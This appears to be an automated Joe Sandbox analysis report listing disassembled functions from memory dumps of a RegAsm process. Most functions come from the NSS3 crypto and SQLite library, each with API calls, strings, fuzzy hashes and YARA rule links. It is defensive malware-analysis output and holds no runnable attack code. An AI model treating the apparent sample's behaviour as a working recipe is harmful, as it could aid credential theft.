Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bU$l$bU$l
API String ID: 326028414-3077243970
Opcode ID: 661a927989aa3836644507c230b0bfb8cb3cb6aa08e4328f8eb05a62a89bfa05
Instruction ID: ed72943822e918b45aa661bef3962524f1af8e3225243a8aa9581ba91ef29014
Opcode Fuzzy Hash: 661a927989aa3836644507c230b0bfb8cb3cb6aa08e4328f8eb05a62a89bfa05
Instruction Fuzzy Hash: C8414AB4A04609CFCB04EF68D4848AAFBF4FF49304B058669EC999B715EB30E855CBD1

Function 6C256C40 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C256C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C256C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C256CA3

Part of subcall function 6C33D930: PL_strncpyz.NSS3(?,?,?), ref: 6C33D963

PR_LogPrint.NSS3(?,00000000), ref: 6C256CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C256CD5

Strings

pMechanism = 0x%p, xrefs: 6C256CD0
hSession = 0x%x, xrefs: 6C256C7E, 6C256C8E
n3l, xrefs: 6C256CF4, 6C256D1F
C_DigestInit, xrefs: 6C256C61
(CK_INVALID_HANDLE), xrefs: 6C256C9C

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit$n3l
API String ID: 1003633598-2403538629
Opcode ID: 080127c10c468507ce398d1ef3f5fa9368f76b49748ccb56154bfbb5dfd91d57
Instruction ID: 5044495ed32053d35f52f96f7a365930e2694ac16360ae50a7e8799464b7cf54
Opcode Fuzzy Hash: 080127c10c468507ce398d1ef3f5fa9368f76b49748ccb56154bfbb5dfd91d57
Instruction Fuzzy Hash: F021F5346022589BDB009B54DECCF9F77B9EB4321EF844025EC099BB11DB349958CF92

Function 6C26ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C26DE64), ref: 6C26ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C26ED22

Part of subcall function 6C27B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C3518D0,?), ref: 6C27B095

PL_FreeArenaPool.NSS3(?), ref: 6C26ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C26ED6B
PR_CallOnce.NSS3(6C382AA4,6C2812D0), ref: 6C26ED38

Part of subcall function 6C1A4C70: TlsGetValue.KERNEL32(?,?,?,6C1A3921,6C3814E4,6C2ECC70), ref: 6C1A4C97
Part of subcall function 6C1A4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C1A3921,6C3814E4,6C2ECC70), ref: 6C1A4CB0
Part of subcall function 6C1A4C70: PR_Unlock.NSS3(?,?,?,?,?,6C1A3921,6C3814E4,6C2ECC70), ref: 6C1A4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C26ED52
PR_CallOnce.NSS3(6C382AA4,6C2812D0), ref: 6C26ED83
PL_FreeArenaPool.NSS3(?), ref: 6C26ED95
PL_FinishArenaPool.NSS3(?), ref: 6C26ED9D

Part of subcall function 6C2864F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C28127C,00000000,00000000,00000000), ref: 6C28650E

Strings

security, xrefs: 6C26ED06

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 581febab3d7f52218da077c50a5795ef506dc9c9a37bd63378ccce796575a71f
Instruction ID: 3b3443669b6de6f3d1bc3bcb34d16277ad008f82764acd12768ce3d49578fa70
Opcode Fuzzy Hash: 581febab3d7f52218da077c50a5795ef506dc9c9a37bd63378ccce796575a71f
Instruction Fuzzy Hash: CA11577A91121D6BEA205666EC84FBF727CAF0260DF010425FC1572EC1FB29A54CC6F6

Function 6C330EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C212357), ref: 6C330EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C212357), ref: 6C330EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C330EE6

Part of subcall function 6C3309D0: PR_Now.NSS3 ref: 6C330A22
Part of subcall function 6C3309D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C330A35
Part of subcall function 6C3309D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C330A66
Part of subcall function 6C3309D0: PR_GetCurrentThread.NSS3 ref: 6C330A70
Part of subcall function 6C3309D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C330A9D
Part of subcall function 6C3309D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C330AC8
Part of subcall function 6C3309D0: PR_vsmprintf.NSS3(?,?), ref: 6C330AE8
Part of subcall function 6C3309D0: EnterCriticalSection.KERNEL32(?), ref: 6C330B19
Part of subcall function 6C3309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C330B48
Part of subcall function 6C3309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C330C76
Part of subcall function 6C3309D0: PR_LogFlush.NSS3 ref: 6C330C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C330EFA

Part of subcall function 6C21AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C21AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C330F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C330F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C330F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C330F2B

Strings

Aborting, xrefs: 6C330EB3
Assertion failure: %s, at %s:%d, xrefs: 6C330ED9, 6C330EE5, 6C330F06, 6C330F0B

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: fd4fb45ddaadf0204010baea2f78d7ddcd9569d3d9fc2110af5b0d3b75bfda47
Instruction ID: 07b5ff3ac2f165a46d01dfcf4522422b6326757d44c3d790d0fb379e2da77c82
Opcode Fuzzy Hash: fd4fb45ddaadf0204010baea2f78d7ddcd9569d3d9fc2110af5b0d3b75bfda47
Instruction Fuzzy Hash: F0F0A4F99001647BDA013B61AC49C9B3E3DDF46264F004024FE0956602DA35E9149BB7

Function 0042660D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00426634
_free.LIBCMT ref: 00426642
_free.LIBCMT ref: 0042664D
_free.LIBCMT ref: 00426621

Part of subcall function 0041D93B: HeapFree.KERNEL32(00000000,00000000,?,0041D18F,00000000,0043B6F4,0041D1D6,0040EEBE,?,?,0041D2C0,0043B6F4,?,?,0042EC38,0043B6F4), ref: 0041D951
Part of subcall function 0041D93B: GetLastError.KERNEL32(?,?,?,0041D2C0,0043B6F4,?,?,0042EC38,0043B6F4,?,?,?), ref: 0041D963

___free_lc_time.LIBCMT ref: 0042666B
_free.LIBCMT ref: 00426676
_free.LIBCMT ref: 0042669B
_free.LIBCMT ref: 004266B2
_free.LIBCMT ref: 004266C1

Strings

xLC, xrefs: 0042665B

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lc_time
String ID: xLC
API String ID: 3704779436-381350105
Opcode ID: 330362af81a2d29c8bc6dd115f1b5d8232e71c49360d0d8446d85f6bf0e0d0e7
Instruction ID: fdfe39178027f3e5e6c57af64549801535ecf2e9aa55874642047572a4db4e51
Opcode Fuzzy Hash: 330362af81a2d29c8bc6dd115f1b5d8232e71c49360d0d8446d85f6bf0e0d0e7
Instruction Fuzzy Hash: 421194F2A10311ABDF206F76E985B9BB3A5EB01308F95093FE14897251CB3C9C91CA1C

Function 6C294DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C294DCB

Part of subcall function 6C280FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C2287ED,00000800,6C21EF74,00000000), ref: 6C281000
Part of subcall function 6C280FF0: PR_NewLock.NSS3(?,00000800,6C21EF74,00000000), ref: 6C281016
Part of subcall function 6C280FF0: PL_InitArenaPool.NSS3(00000000,security,6C2287ED,00000008,?,00000800,6C21EF74,00000000), ref: 6C28102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C294DE1

Part of subcall function 6C2810C0: TlsGetValue.KERNEL32(?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C2810F3
Part of subcall function 6C2810C0: EnterCriticalSection.KERNEL32(?,?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C28110C
Part of subcall function 6C2810C0: PL_ArenaAllocate.NSS3(?,?,?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C281141
Part of subcall function 6C2810C0: PR_Unlock.NSS3(?,?,?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C281182
Part of subcall function 6C2810C0: TlsGetValue.KERNEL32(?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C28119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C294DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C294E59

Part of subcall function 6C27FAB0: free.MOZGLUE(?,-00000001,?,?,6C21F673,00000000,00000000), ref: 6C27FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C35300C,00000000), ref: 6C294EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C294EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C294F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C29521A

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 12310b77b8d5738996212cad24ed17fff8a6bb11e48538abf6595e4a99fea3fc
Instruction ID: 3900955a72d2e3d688dd80a6de1a97a4232b022c931abb513a66d7554b5e3fff
Opcode Fuzzy Hash: 12310b77b8d5738996212cad24ed17fff8a6bb11e48538abf6595e4a99fea3fc
Instruction Fuzzy Hash: 58F18F71E0120ACBDB04CF59D440BAEB7B2BF48359F254269ED15AB781EB35E981CB90

Function 6C1C2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C1C2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C1C2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C1C3005
memcpy.VCRUNTIME140(?,?,?), ref: 6C1C30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C1C3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C1C3178

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C1C3022, 6C1C3156, 6C1C3162, 6C1C318A, 6C1C3196, 6C1C31A2, 6C1C31AE, 6C1C31BA, 6C1C31C6
database corruption, xrefs: 6C1C316C
%s at line %d of [%.10s], xrefs: 6C1C3171

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: fd590aa09d10645921c52d8490c7c080fc459d3f3606be54e2edad9c86d1ec1b
Instruction ID: 5cf01d9e38f6f526cca51071a5cd7d090d8101b48e5b0ad699b1d7c647c0ab03
Opcode Fuzzy Hash: fd590aa09d10645921c52d8490c7c080fc459d3f3606be54e2edad9c86d1ec1b
Instruction Fuzzy Hash: F3B1ADB0F052199FCB08CF9DC884AEEB7B1BF59304F544069E849B7B45D378A842CBA1

Function 6C212D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C212D69

Strings

winTruncate2, xrefs: 6C212EF8
P3l, xrefs: 6C212E74, 6C212EC5, 6C212F32, 6C212F5C
winTruncate1, xrefs: 6C212EBE
winSeekFile, xrefs: 6C212E9C
winUnmapfile2, xrefs: 6C212F7F
3l, xrefs: 6C212DD0
winUnmapfile1, xrefs: 6C212F55
@3l, xrefs: 6C212E24

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: __allrem
String ID: @3l$P3l$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$3l
API String ID: 2933888876-504087614
Opcode ID: bd2489742c0522db0943841b8067987133ab19a73ed82108e292ffab89eb60ae
Instruction ID: 15c6ff857ba6be65747e3d378b16b7624ae256b1da83388fe7ec6c4b8fd915c6
Opcode Fuzzy Hash: bd2489742c0522db0943841b8067987133ab19a73ed82108e292ffab89eb60ae
Instruction Fuzzy Hash: AC6183B5A053099FDB04CF64D894AAA77F5FF4A314F204128FE159BB90DB31A906CB91

Function 0041B991 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 175fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?,00000000,?,03622528), ref: 0041B9C5
GetFileSize.KERNEL32(?,00000000), ref: 0041BA3E
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 0041BA5A
ReadFile.KERNEL32(?,?,00000002,?,00000000), ref: 0041BA6E
SetFilePointer.KERNEL32(?,00000024,00000000,00000000), ref: 0041BA77
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 0041BA87
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 0041BAA5
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 0041BAB5

Strings

, xrefs: 0041BA11

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$PointerRead$HandleInformationSize
String ID:
API String ID: 2979504256-3916222277
Opcode ID: 18d893e6ac417df2152bfb73955086a669b690a37f7863a838ba57e2025041df
Instruction ID: 2f96ef8e8c352da0c6fd23b8bc0b50d76e073618b9a0ce70252d9e73764e8c17
Opcode Fuzzy Hash: 18d893e6ac417df2152bfb73955086a669b690a37f7863a838ba57e2025041df
Instruction Fuzzy Hash: 4A51F3B1D0021CAFDB28DF99DC85AEEBBB9EF04344F10442AE511E6260D7789D85CF94

Function 6C220F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C220F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C220F84

Part of subcall function 6C27B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C3518D0,?), ref: 6C27B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C23F59B,6C34890C,?), ref: 6C220FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C220FC1

Part of subcall function 6C280BE0: malloc.MOZGLUE(6C278D2D,?,00000000,?), ref: 6C280BF8
Part of subcall function 6C280BE0: TlsGetValue.KERNEL32(6C278D2D,?,00000000,?), ref: 6C280C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C220FDB
PR_CallOnce.NSS3(6C382AA4,6C2812D0), ref: 6C220FEF
PL_FreeArenaPool.NSS3(?), ref: 6C221001
PL_FinishArenaPool.NSS3(?), ref: 6C221009

Strings

security, xrefs: 6C220F5C

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 109b09259ca3802d49ea34199e6d714e623674b26e7bcd4bcfca754c4190242f
Instruction ID: 9a7afe7ac844b01ca0f02f1942db784358f756070931b61582015a1bd462c14e
Opcode Fuzzy Hash: 109b09259ca3802d49ea34199e6d714e623674b26e7bcd4bcfca754c4190242f
Instruction Fuzzy Hash: C5210671904348ABE7109F24DC80EAEB7B4EF45658F008519FC1897741FB35D959CBE2

Function 6C226DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C227D8F,6C227D8F,?,?), ref: 6C226DC8

Part of subcall function 6C27FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C27FE08
Part of subcall function 6C27FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C27FE1D
Part of subcall function 6C27FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C27FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C227D8F,?,?), ref: 6C226DD5

Part of subcall function 6C2810C0: TlsGetValue.KERNEL32(?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C2810F3
Part of subcall function 6C2810C0: EnterCriticalSection.KERNEL32(?,?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C28110C
Part of subcall function 6C2810C0: PL_ArenaAllocate.NSS3(?,?,?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C281141
Part of subcall function 6C2810C0: PR_Unlock.NSS3(?,?,?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C281182
Part of subcall function 6C2810C0: TlsGetValue.KERNEL32(?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C28119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C348FA0,00000000,?,?,?,?,6C227D8F,?,?), ref: 6C226DF7

Part of subcall function 6C27B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C3518D0,?), ref: 6C27B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C226E35

Part of subcall function 6C27FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C27FE29
Part of subcall function 6C27FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C27FE3D
Part of subcall function 6C27FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C27FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C226E4C

Part of subcall function 6C2810C0: PL_ArenaAllocate.NSS3(?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C28116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C348FE0,00000000), ref: 6C226E82

Part of subcall function 6C226AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C22B21D,00000000,00000000,6C22B219,?,6C226BFB,00000000,?,00000000,00000000,?,?,?,6C22B21D), ref: 6C226B01
Part of subcall function 6C226AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C226B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C226F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C226F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C348FE0,00000000), ref: 6C226F6B
PR_SetError.NSS3(FFFFE005,00000000,6C227D8F,?,?), ref: 6C226FE1

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

